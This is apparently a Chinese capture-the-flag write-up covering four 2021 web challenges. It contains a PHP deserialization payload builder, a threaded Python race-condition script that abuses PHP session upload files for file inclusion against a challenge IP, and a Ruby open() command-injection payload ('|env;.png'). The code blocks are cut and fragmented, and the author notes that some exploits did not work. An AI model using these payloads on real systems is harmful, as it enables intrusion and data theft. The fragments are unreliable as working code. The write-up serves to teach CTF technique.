目录
[第五空间 2021]pklovecloud
官方解:
总结:
[第五空间 2021]EasyCleanup
考点:
思路:
总结:
[第五空间 2021]yet_another_mysql_injection
[第五空间 2021]PNG图片转换器
解题:
总结:
cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
exp 很好构造 就是要绕过两个点:
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
关键代码在这里, 如果 这里的docker为空的时候, this -> OpenStack 自然为空对象,则$this->openstack->neutron === $this->openstack->nova
两侧都为null自然可绕过。.
测试代码:
sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>
可以看见以上代码。 $b对象的属性都为空。
构造exp:
cinder=$c;
$c->docker='';
$c->filename='flag.php';
echo urlencode(serialize($b));
?>
没跑出来,但是对照了wp 也没问题。
cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;
可惜没打出来
临时文件包含
15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
看到代码,这道题有eval 和include 可以利用,看看eval 的利用条件,长度不能大于15, 过滤了关键字,和a-z A-Z 0-9 这基本上很难rce 了,异或 ^ 被过滤了,取反字符肯定大于15. eval基本是用不了了。
再来看看include 。 如果上传文件包含的话,不会受到字符长度的限制,也不会被过滤。
那么利用点应该就是这里了。
知道了利用点,先看看phpinfo();
逐一来解释一下以上 配置:
- session.save_handler:表示session以文件的形式存储。
- session.save_path:session默认存储路径在 /tmp 下。
- session.serialize_handler:反序列化和序列化的处理器是php
- session.upload_progress.cleanup: 功能为 on 时,即向服务器上传文件后,php会马上清楚对应session文件中的内容。on 也就意味着 需要条件竞争。
- session.upload_progress.enabled:表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
- 第六七行中的freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
- 第八九行中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
- 第十行表示使用cookie记录sessionid。
- 第十一行表示是否在客户端仅仅使用 cookie 来存放会话 ID。
- 第十二行中的值为off,表示Cookie中的sessionid可控。
当我们自己定义cookie 中的 phpsessid 时,php为在服务器创建文件并存储在tmp/sess_id。服务器会自动化初始session,由(prefix+session.upload_progress.name)组成。由于session.use_strict_mode 为off 所以我们可以自定义sessionid 为我们的session文件名,然后控制文件内容,进行file的文件包含,因为clean up 为 on 所以需要用到条件竞争。然后访问 file =/tmp/sess_id 进行包含。
附上脚本。
import io
import requests
import threading
url="http://1.14.71.254:28073/"
sessid="acd"
myfile=io.BytesIO(b"test.txt" * 1024)
writedata={"PHP_SESSION_UPLOAD_PROGRESS" : ""}
mycookie={"PHPSESSID":sessid}
def write(ss):
while True:
resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})
def read(ss):
while True:
payloadurl=url+'?file='+'/tmp/sess_'+sessid
resp=requests.get(url=payloadurl)
if 'test.txt' in resp.text:
print(resp.text)
break
else:pass
if __name__ == '__main__':
envent=threading.Event()
with requests.session() as ss:
for i in range(0,30):
threading.Thread(target=write, args=(ss, )).start()
for i in range(0, 30):
threading.Thread(target=read, args=(ss,)).start()
envent.set()
看到include 可以往临时文件包含 方面思考。还要考虑到phpinfo的具体设置。
参考链接:从三道赛题再谈命令行 - 安全客,安全资讯平台 (anquanke.com)
题目有个源码下载:
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return ""
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return ""
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return ""
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
简单审计下代码,对ruby不是很 熟悉,但是简单看一下还是能看懂的。
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return ""
要求后缀必须为 png,不能包含 .. 不能包含 / ,过滤完成之后会用open(file,'r').read() 然后base64打印上传的内容.,而ruby 的open()函数是借用系统命令来打开文件的,所以可以命令执行。
对于file 参数不能存在 .. / 可以考虑在命令 注入的时候用base64编码后执行。
例如:
这里的 bHMgLwo= 就相当于 ls / 就可以绕过 file 过滤了 /
这里我们可以执行反弹shell ,其实也可以不用,看自己,因为这是有回显的。
ls / 看看根目录,解码一下base 64
得到:
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
找了好久没有 找到flag 文件。 看了其他师傅的wp 才知道在环境变量env 里面
payload:
file=|env;.png
ruby 中的open 函数借用了 系统命令。会产生命令执行漏洞。以 | 分割。